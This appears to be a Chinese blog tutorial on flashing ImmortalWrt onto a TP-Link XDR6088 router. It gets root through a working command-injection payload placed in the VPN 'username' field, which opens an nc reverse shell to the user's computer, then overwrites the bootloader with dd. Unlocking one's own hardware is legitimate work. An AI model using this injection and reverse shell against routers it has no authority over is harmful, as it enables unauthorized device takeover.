← 返回文章列表

我的操作系统是 Mac。

1. 准备工作

1.1 下载 Immortalwrt 镜像文件

首先下载镜像文件,这里面的 4 个文件都需要下载。 官方地址:ImmortalWrt Firmware Selector

1.2 安装 nmap

brew install nmap

1.4 设置电脑 IP

重要:使用网线一头插在路由器的 1G 口上,另一头插在电脑上,然后手动设置:

  • IP 地址: 192.168.1.254
  • 网关地址: 192.168.1.1
  • 子网掩码: 255.255.255.0

1.5 路由器恢复出厂设置

建议先将路由器还原为出厂设置,避免因为设置不同导致的影响,拿牙签插路由器小孔数秒。 恢复出厂设置以后,路由器的默认后台地址是 192.168.1.1

1.6 准备 TFTP 服务器

1.6.1 下载 Transfer - Mac File Server

因为我使用 macOS 内置的 tftp 时,后面路由器自动获取 Recovery 镜像文件 immortalwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb 的时候报错

IP 192.168.1.1.3417 > 192.168.1.254.69: TFTP, length 101, RRQ "immortalwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb" octet timeout 5 blksize 1468

1.6.2 把 ImmortalWrt 的镜像文件移动到 /private/tftpboot 目录

sudo mv ~/Downloads/immortalwrt* /private/tftpboot/

如果 Transfer 默认没有开启 TFTP,就打开设置,勾选上 TFTP。

2. 安装 ImmortalWrt

2.1 获取路由器控制权限

2.1.1 获取路由器 stok

进入路由器后台网址 192.168.1.1,按下 CMD + Option + i 打开浏览器 Devtools,在 Network 中找到一个 ds 的请求,点击请求,复制 stock= 与 /ds 之间的内容,如下图所示:

2.1.2 运行 ncat 监听

打开终端,输入一下命令,我将这个终端称为【终端 1】,以防混淆。

ncat -nvlp 4444

2.1.3 通过路由器 vpn 权限漏洞获取权限

再打开一个新的终端【终端 2】,依次输入如下命令:

  1. 执行下面命令,将获取到的 stok 设置为环境变量:
export stok=刚才复制的那一串内容
  1. 执行下面命令
curl http://192.168.1.1/stok=$stok/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"0"}},"method":"add"}'

执行成功后应该能看到终端输出返回 {"error_code":0} 3. 执行下面命令

curl http://192.168.1.1/stok=$stok/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"1"}},"method":"set"}'

同样可以看到返回 {"error_code":0},并且刚刚运行的 ncat 的【终端 1】会有如下图所示的变化: 这时我们便获取了路由器的控制权限,可以进行下一步的操作。

2.1.2 安装 ImmortalWrt uboot

在【终端 1】执行下面命令:

传输 uboot 文件

tftp -g -l /tmp/preloader.bin -r immortalwrt-24.10.3-mediatek-filogic-tplink_tl-xdr6088-preloader.bin 192.168.1.254
tftp -g -l /tmp/uboot.fip -r immortalwrt-24.10.3-mediatek-filogic-tplink_tl-xdr6088-bl31-uboot.fip 192.168.1.254

写入 uboot 文件

一定按照顺序执行下面的命令,执行以后耐心等待:

dd bs=131072 conv=sync of=/dev/mtdblock9 if=/tmp/preloader.bin
dd bs=131072 conv=sync of=/dev/mtdblock9 seek=28 if=/tmp/uboot.fip

执行完毕后终端将有类似下面的输出:

2.1.3 重启路由器,写入 recovery 镜像

  1. immortalwrt-24.10.3-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb 重命名为 immortalwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb,这里是因为 immortalwrt 重启以后会自动请求名字为 immortalwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb 的文件。

在【终端 2】中输入以下命令:

sudo mv /private/tftpboot/immortalwrt-24.10.3-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb /private/tftpboot/immortalwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb
  1. 直接拔掉路由器电源再插上进行重启,注意:这里不要断开路由器与电脑的连接。 路由器重启后将后台通过 tftp 从我们的电脑上请求 immortalwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb 文件,这里只需要打开浏览器,输入 192.168.1.1 进行等待以及时不时的刷新即可,最终将会进入到如下界面:
  2. 直接点击 Log in 进入网页,按照网页提示上传 sysupgrade.itb 镜像,上传的文件名应该是 immortalwrt-24.10.3-mediatek-filogic-tplink_tl-xdr6088-squashfs-sysupgrade.itb,如下图所示:
  3. 然后点击 UploadContinue,等待系统安装,然后就可以大功告成。

3. 光猫改桥接

闲鱼上找人把光猫改成桥接。

改成桥接以后, 使用路由器 PPPOE 进行拨号上网。 这样配置以后,会有一个公网 IP,一个局域网 IP(192.168.1.1),一次 NAT。最简单。

4. 配置 ImmortalWrt 网络

点击 网络 -> 接口,修改 Wan 口,改成 PPPOE 拨号。

输入宽带账号,密码,点击保存并应用。

点击 网络 ->无线,配置 Wi-Fi。修改 2.4G 和 5G 的 Wi-Fi 名称和密码。

  • 2.4G 推荐使用中等强度密码,因为密码强度太高,会导致有些老设备连不上。
  • 5G,选 80MHZ。

5. 配置科学上网

先安装个主题,argon

然后安装 homeproxy,安装以后,点击 服务 -> homeproxy,导入机场的订阅链接,更新订阅,选择服务启动。

这时就可以愉快的上网啦😀。

6. 参考链接

TP-Link XDR6088 安装官方原版 OpenWrt | Xiaoyehua.Dev